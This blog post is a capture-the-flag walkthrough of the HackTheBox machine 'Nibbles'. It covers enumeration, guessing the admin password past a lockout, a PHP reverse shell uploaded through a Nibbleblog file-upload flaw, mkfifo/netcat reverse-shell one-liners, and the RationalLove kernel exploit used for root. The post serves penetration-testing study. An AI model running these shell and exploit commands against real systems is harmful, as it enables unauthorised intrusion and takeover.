My Penetration Testing With Kali course begins in only a few days, and I’m both nervous and excited. Starting a new career, especially one as technical and complex as Information Security, can be very challenging and stressful. But I hope to mitigate that stress by being as prepared as I can be. One way to prepare myself is to gain as much hands-on experience as possible. This is the whole point of sites like HackTheBox: to gain hands-on experience that (in many ways) simulates real-world scenarios.

For this post, I decided to try my hand at Nibbles, another of the OSCP-like HTB machines suggested by the OSCP community. According to the HTB website, Nibbles is considered fairly easy:

HTB Nibbles

Based on past reviews, Nibbles rates highly in the “real-world” and “CVE” categories, with a good deal of enumeration necessary. However, it doesn’t require much custom exploitation, and is not considered very “CTF-Like”:

Nibbles Overview

As such, I expected Nibbles to be a fairly straightforward exercise – challenging, but not too much.


As always, the first step was enumeration. A quick nmap scan showed only two interesting TCP ports open:

root@kali:~# nmap -A
Starting Nmap 7.70 ( ) at 2019-04-30 11:23 EDT
Nmap scan report for nibbles.htb (
Host is up (0.080s latency).
Not shown: 998 closed ports
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2
|                    (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA)
|   256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA)
|_  256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
Nmap done: 1 IP address (1 host up) scanned in 23.99 seconds

Based on these results, I can tell that the system is likely running some version of the Ubuntu Linux Operating System, and has OpenSSH 7.2p2 and Apache 2.4.18 running. I went ahead and started a UDP scan as well, to run while I investigated further.

The first target of interest was, of course, the web server. I browsed to to see what I could see, and was greeted with a simple Hello World page:

Hello, Nibbles

However, viewing the source code to this page, I discovered a secret left by the designer of this box:

Secret Directory

It would seem that they had a blog called “nibbleblog” hosted in the /nibbleblog/ directory on their site. So I took a look. Sure enough, there was a very simple blog hosted on the site:

Nibbles Blog

The blog had links to a number of categories as well as an RSS feed that was dynamically created with a PHP script. I took note of the fact that they were using PHP, then looked at the categories. As wth the home page, there were no posts, but I did see that the category links were selected with variables expressed in the URL via an HTTP GET request:

Category Selection

Looking at the variables defined, I wondered if perhaps controller referred to a particular PHP file which would process incoming requests, and whether action defined how that controller would process the values sent to the script. It also appeared as if the category was the most likely value to be passed to a database backend, and therefore could be a potential target for an SQL Injection (SQLi) attack. I took a couple notes, then continued exploring.

Every blog needs a way to add and modify content, so that users can keep their blog up-to-date. I decided to see if there was a login/ or admin/ directory, where the owner would be able to modify their content. Sure enough, there was an admin directory… But it didn’t present a login page or anything like that. Instead, it presented me with a directory listing:

Admin Directory

I decided to look around a bit. I found a bunch of .bit files, each of them containing PHP source code. Browsing through these files, I made some important discoveries:

  • Nibbleblog is a real piece of software, found at
  • The admin login page was located at /nibbleblog/admin.php.
  • A great deal of the backend functionality was defined by the files in /nibbleblog/admin/boot/rules/.
  • The content of the blog was stored in /nibbleblog/content/.
  • The handling of the various HTTP GET fields was defined by /nibbleblog/admin/boot/rules/5-url.bit. (This gave me a full listing of available fields.)
  • Based on analysis of the source code, it appeared that the blog used XML files as a database, instead of using SQL.
  • According to the information in /nibbleblog/admin/boot/rules/3-variables.bit, it seemed that users would be blacklisted for five minutes after five failed login attempts. This would prevent me from doing a dictionary attack against the login page.
  • As defined in /nibbleblog/content/private/users.xml, the admin’s username is admin and their ID is 0. (I could have guessed this, but certainty is nice.)
  • According to /nibbleblog/admin/boot/rules/98-constants.bit, the blog was using Nibbleblog v4.0.3, build number 1396309604, released January 4, 2014.
  • The software included a number of plugins, such as Categories v3.6, Latest Posts v3.7, My Image v3.7, and Pages v4.0.

I knew that I could probably find a copy of Nibbleblog v4.0.3 somewhere on the internet and dig deeper into the source code to find out its weaknesses, but I decided to first consult the trusty searchsploit tool, to see if anyone had already found anything that I could find useful. (After all, in a short-term penetration test, I might not have time for source code analysis.)

Sure enough, it appeared that v4.0.3 had an arbitrary file upload vulnerability:

root@kali:~# searchsploit nibble
--------------------------------------- ----------------------------------------
 Exploit Title                         |  Path
                                       | (/usr/share/exploitdb/)
--------------------------------------- ----------------------------------------
Nibbleblog 3 - Multiple SQL Injections | exploits/php/webapps/35865.txt
Nibbleblog 4.0.3 - Arbitrary File Uplo | exploits/php/remote/38489.rb
--------------------------------------- ----------------------------------------
Shellcodes: No Result

This vulnerability included a Metasploit plugin, but as always, I had vowed to avoid using Metasploit during this process. I took a look at the Ruby code to see if I could figure out how it worked. The exploit included a link to the Curesec Security Research Blog, which descibed the vulnerability in depth. Unfortunately, it appeared that this exploit would require admin credentials, which could be attained via phishing or CSRF – neither of which would be useful to me. It would appear that I would need to find the admin credentials some other way.

I needed to know more about how the system functioned. I decided to bite the bullet and download the app. I went to the ExploitDB website and found [the vulnability I’d discovered in searchsploit]](, and sure enough it included the vulnerable app available for download. I saved a copy to my local system, extracted it, then copied the nibbleblog folder into my /var/www/html directory.

Bug Hunting

I started up Apache on my local system with service apache2 start, then browsed to the installation on my local system. The site failed to load, due to a missing library, but with a little googling I was able to resolve the issue by using apt install php-xml to install the missing library. After running service apache2 restart to reboot the server, I reloaded the page, and found that there was yet another missing dependency:

Nibbleblog Missing Dependency

Installing this dependency was a simple matter. I simply used apt install php-gd and rebooted Apache once more, and voila! The Nibbleblog installation was ready to roll. Upon revisiting the page, I was greeted with the “Welcome to Nibbleblog” installation screen, and prompted to create an administrator account. Before doing this, however, I decided to get the sha1 hashes of all of the files in the nimbleblog directory tree, so I could see what files were changed upon creation of the admin account. After changing to the /var/www/html/nibbleblog directory, I used the following command to calculate those hashes and store them in a file called pre-install.txt:

find . -type f -print0  | xargs -0 sha1sum > pre-install.txt

With that done, I completed the installation process for Nibbleblog, then ran the command again to get the post-install hashes:

find . -type f -print0  | xargs -0 sha1sum > post-install.txt

Finally, I used diff to get a list of the changed files:

root@kali:~# diff pre-install.txt post-install.txt
> 7e84273186442799deb5427de575095cd2855d30  ./content/public/posts/1556646491.1.0.0.NULL.2019.
> 861ad997db9977c5fdca3b61b0bef6a7ffb8af9a  ./content/private/categories.xml
> ad8c85b9c18d4c9b31268d3223eae85c07585317  ./content/private/config.xml
> a71b2057dd20e02cc259cfea8a5f867be5865246  ./content/private/posts.xml
> 28bd2bdecc9671b680a4f6c5d08cb3f3fdaf41c6  ./content/private/keys.php
> 2f72102492c182e1d66ce7da319aa9ed6ccbd519  ./content/private/plugins/pages/db.xml
> bef931d6ec876aa6c327ae1dddf5793516b0d9c8  ./content/private/plugins/latest_posts/db.xml
> 7f56dc4e4ea3be8db7da2f8e6756efceccb25e0a  ./content/private/plugins/categories/db.xml
> bcdaf015a93cc225a32b0a448f5bca44fdce06ca  ./content/private/tags.xml
> a8b1e4733e843b0762bf4419bfbb23cb9c00ed2f  ./content/private/notifications.xml
> 7e3e3987e4e2a32dde8439afc3b39f31a4cf49e5  ./content/private/users.xml
> 50b8e3ef3aaece57e35d3ed1ad4265ce957ce069  ./content/private/comments.xml
> 13033c375158c916809f0c4c95644c732f2726ca  ./content/private/pages.xml
> bd7230cd4757d0570353eed0fe20bb72774cce4e  ./content/private/shadow.php

The two most interesting files seemed to be keys.php and shadow.php – I’d seen these referenced in my previous exploration of the source code, but hadn’t been able to investigate them. I decided to look at shadow.php first:

	$_USER[0]["uid"] = "0";
	$_USER[0]["username"] = "admin";
	$_USER[0]["password"] = "0946e5bbafd95e4ed4500006d905548c5eb9b030";
	$_USER[0]["salt"] = "08t7%%8%kfp";
	$_USER[0]["email"] = "";

It looked as if the password was hashed with the sha1 algorithm, using a randomly-generated salt. I confirmed this by visiting the sha1 hash page and using their SHA1 Encoder with my password and salt. Sure enough, the hashes matched.

If I could get a hold of the plaintext of the shadow.php file stored on the target system, I might be able to crack the password. But how would I get access to the file? From what I saw, there were no known file-inclusion vulnerabilities in Nibbleblog, and a cursory search for Apache vulnerabilities didn’t reveal anything useful either.

An Act of Desperation

I decided to return to the login page and verify my assumptions regarding the blacklist function. It appeared as if five failed attempts would cause me to be blacklisted for five minutes, but I wanted to be certain. If my assumptions were false, then I could make a brute-force attempt on the admin login page.

To verify whether Nibbleblog would log failed attempts, I loaded up the /nibbleblog/content/private/users.xml page, noting that my IP was in the list:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
  <user username="admin">
    <id type="integer">0</id>
    <session_fail_count type="integer">0</session_fail_count>
    <session_date type="integer">1514544131</session_date>
  <blacklist type="string" ip="">
    <date type="integer">1512964659</date>
    <fail_count type="integer">1</fail_count>
  <blacklist type="string" ip="">
    <date type="integer">1556639708</date>
    <fail_count type="integer">2</fail_count>

It appeared that it had already logged two failures for my IP (, so things didn’t look promising. That meant that I only had three more allotted failures before I would get blacklisted. I loaded the admin login page, and tried the password password, just to see what would happen. Sure enough, the password was incorrect. Returning to the users.xml file, I noted that my fail_count had, indeed, incremented. It now listed three failed attempts.

I tried admin as the next password. It failed, and my attempts incremented to four.

At this point, I was in a bind. In a real engagement, I would be hesitant to get myself locked out of the target system and trigger any intrusion detection methods they had. But this was HTB, which meant that I could reset the box if I got locked out. I hated the idea of gaming the system like that, but I went ahead and tried another failed password attempt, to see what would happen.

Sure enough, I was locked out of the system:


I decided to see if my assumptions were correct about the lock-out timeframe, so I went to go make a cup of coffee and see if I’d be allowed back in after five minutes. Sure enough, when I returned, the login page was once again available. I checked on the users.xml file, and it still said I’d made five attempts… Did that mean I would only get one attempt? I tried logging in with the password secret. The password failed, and I returned to users.xml to find that my counter had dropped back down to one. Sure enough, as I’d surmised, I had five attempts with a five-minute blacklist.

Brute force would take ages, so my only hope would be to guess the password. Users often pick weak passwords, so it wouldn’t be a stretch to believe I might be able to guess the right password, given enough tries. I took note of the passwords I’d attempted so far:

  • password
  • admin
  • fake
  • secret

Now, if I was a lazy admin, installing a new piece of software to play with, and didn’t care to set up a secure password, what would I use? I tried “nibble,” then “blog,” then “nibbleblog,” and nothing happened (aside from my counter jumping up to four).

Then I considered “nibbles.” It was the name of the machine, after all, and it was also the title of the home page. I gave it a shot. Sure enough, it worked.

I gotta say, I hate guessing passwords. I hate the idea that every failed attempt is logged somewhere, and that anyone paying attention to those logs will see what I’m up to. But the fact is, password-guessing attacks are a mainstay of the security profession, and I need to get over it. I always hope that users pick secure passwords, but that’s often not the case. In fact, bad passwords are so common, they made an appearance in the 1995 film Hackers:

Well, I was in. I wasn’t proud of how I got in, but that didn’t matter. It was time to move forward.

Getting a Shell

Now that I had access to the admin page of the site, I wanted to try out the file-inclusion vulnerability that I discovered previously. First things first, I’d need to create a PHP shell. I decided to try out the php/reverse_php shell available in msfvenom:

msfvenom -p php/reverse_php LHOST= -f raw > shell.php

If everything worked correctly, this would open a reverse-TCP shell back to my IP from the target system. I went back to the Nibbleblog page and uploaded the shell.php file I’d created, as instructed by the vulnerability report. Sure enough, when I went to the /nibbleblog/content/private/plugins/my_image/ directory, the image.php file had been created. This was my shell, and as soon as I clicked on the file, it would attempt to open a reverse connection to my system.

I started my netcat listener, then clicked on the file.

root@kali:~# nc -lvp 4444
listening on [any] 4444 ...
connect to [] from nibbles.htb [] 40748

I had a shell, and was logged in as the user nibbler! My next course of action was to find the user flag.

ls /home
ls -l /home/nibbler
total 8
-r-------- 1 nibbler nibbler 1855 Dec 10  2017
-r-------- 1 nibbler nibbler   33 Dec 10  2017 user.txt
cat /home/nibbler/user.txt

Now I had the user flag! One down, one to go.

Getting Elevated

Right away I was curious about the contents of, so I used cp /home/nibbler/ ./ to copy the file to the /nibbleblog/content/private/plugins/my_image/ directory, then downloaded it to my local system. Afterwards, I deleted the file from the my_image directory, just to prevent others from piggy-backing on my efforts.

I opened the .zip file, and found that it contained a script called, which claimed to monitor server health. Interesting… Before I dug any deeper, however, I wanted to have a more reliable interface with the server. The PHP shell I’d created was nice, but it would be too limited… And I also wanted to remove it, to prevent others from abusing my exploit.

I tried using netcat on the remote host to send back a reverse TCP shell, but unfortunately it had the -e flag blocked, so I had to get creative. After setting up my netcat listener on port 31337, I used the following command in my PHP shell to bypass this limitation and get a proper reverse shell:

rm /tmp/g;mkfifo /tmp/g;cat /tmp/g|/bin/bash -i 2>&1|nc 31337 > /tmp/g

The command executed nicely, and I had a reverse shell independent of PHP and Apache. I went ahead and deleted the image.php file, removing my backdoor into the web app. My new target was the root account, and the juicy flag contained within its home directory.

I chased some false trails involving Apache privilege escalation attacks, then decided to see if I could find any vulnerabilities with the operating system itself. I checked to see what kernel was running on the system:

nibbler@Nibbles:/home/nibbler$ uname -a
uname -a
Linux Nibbles 4.4.0-104-generic #127-Ubuntu SMP Mon Dec 11 12:16:42 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux

Then I did a Google search to see if there were any known vulnerabilities in Linux kernel 4.4.0-104-generic. There wasn’t a lot, but I did find a script that would suggest routes of exploitation, so I decided to give it a shot. I copied the text of the exploit into the file /var/www/html/, read through it to make sure it didn’t do anything unsavory, and then downloaded it to the target machine:

nibbler@Nibbles:/home/nibbler$ wget
--2019-04-30 17:11:37--
Connecting to connected.
HTTP request sent, awaiting response... 200 OK
Length: 78377 (77K) [text/x-sh]
Saving to: ''

     0K .......... .......... .......... .......... .......... 65%  300K 0s
    50K .......... .......... ......                          100% 2.88M=0.2s

2019-04-30 17:11:37 (436 KB/s) - '' saved [78377/78377]

I then ran the script, and got the following results (trimmed for brevity):

nibbler@Nibbles:/home/nibbler$ ./

Available information:

Kernel version: 4.4.0
Architecture: x86_64
Distribution: ubuntu
Distribution version: 16.04.3
Additional checks (CONFIG_*, sysctl entries, custom Bash commands): performed
Package listing: from current OS

Searching among:

71 kernel space exploits
37 user space exploits

Possible Exploits:
[+] [CVE-2018-1000001] RationalLove

   Tags: debian=9{glibc:2.24-11+deb9u1},[ ubuntu=16.04.3 ]{glibc:2.23-0ubuntu9}
   Rank: 3
   Download URL:
   Comments: kernel.unprivileged_userns_clone=1 required

After a few failed attempts with a couple of the suggested exploits, I stumbled onto RationalLove, the exploit described above. I downloaded the code, passed it over to the target system, compiled it, and executed the exploit. Moments later, I had root:

nibbler@Nibbles:/home/nibbler$ ./RationalLove
./RationalLove: setting up environment ...
Detected OS version: "16.04.3 LTS (Xenial Xerus)"
./RationalLove: using umount at "/bin/umount".
Executable now root-owned
Cleanup completed, re-invoking binary
/proc/self/exe: invoked as SUID, invoking shell ...
uid=0(root) gid=0(root) groups=0(root),1001(nibbler)

I wanted to have a prettier shell interface, so I did another reverse shell:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 4444 > /tmp/f

I set up my listener on port 4444, ran the above line, and had a nice, pretty root shell:

root@kali:~/Downloads/personal/stuff# nc -lvp 4444
listening on [any] 4444 ...
connect to [] from nibbles.htb [] 40818
bash: cannot set terminal process group (1314): Inappropriate ioctl for device
bash: no job control in this shell

Now all that was left was to grab the root flag:

root@Nibbles:/home/nibbler# cd /root
cd /root
root@Nibbles:/root# cat root.txt
cat root.txt

Game over! Root flag obtained.


This was the first time I’d used a kernel exploit to get root. It was relatively painless, but that was because I was standing on the shoulders of giants. Whoever had discovered and crafted the RationalLove exploit had been brilliant, and their exploit worked flawlessly. And if it weren’t for that exploit-finding shell script, I might have never heard of RationalLove!

Looking back on all the tools and exploits I have used in my walkthroughs so far, I recognize that I’ve always been standing on the shoulders of giants. That’s just how it is. Without tools like nmap, searchsploit, netcat, and all of the others, all of this would be a great deal more difficult. And without all the security researchers who have found the vulnerabilities I’ve employed, I’d be spending months on each box just trying to find bugs in their systems, running into roadblocks and dead-ends left and right.

It’s a humbling experience, thinking about things this way. In truth, looking at Kali linux and all the tools that come with it, I’m amazed at the sheer amount of knowledge that had to be combined to create such a system.

I hope that someday I can make my mark and create a tool worth adding to Kali, Parrot, BlackArch, or any of the other great penetration testing distros out there. But for now, I’ll be grateful to those who came before me, and do my best to use their tools to enhance the privacy and security of those that deem to hire me.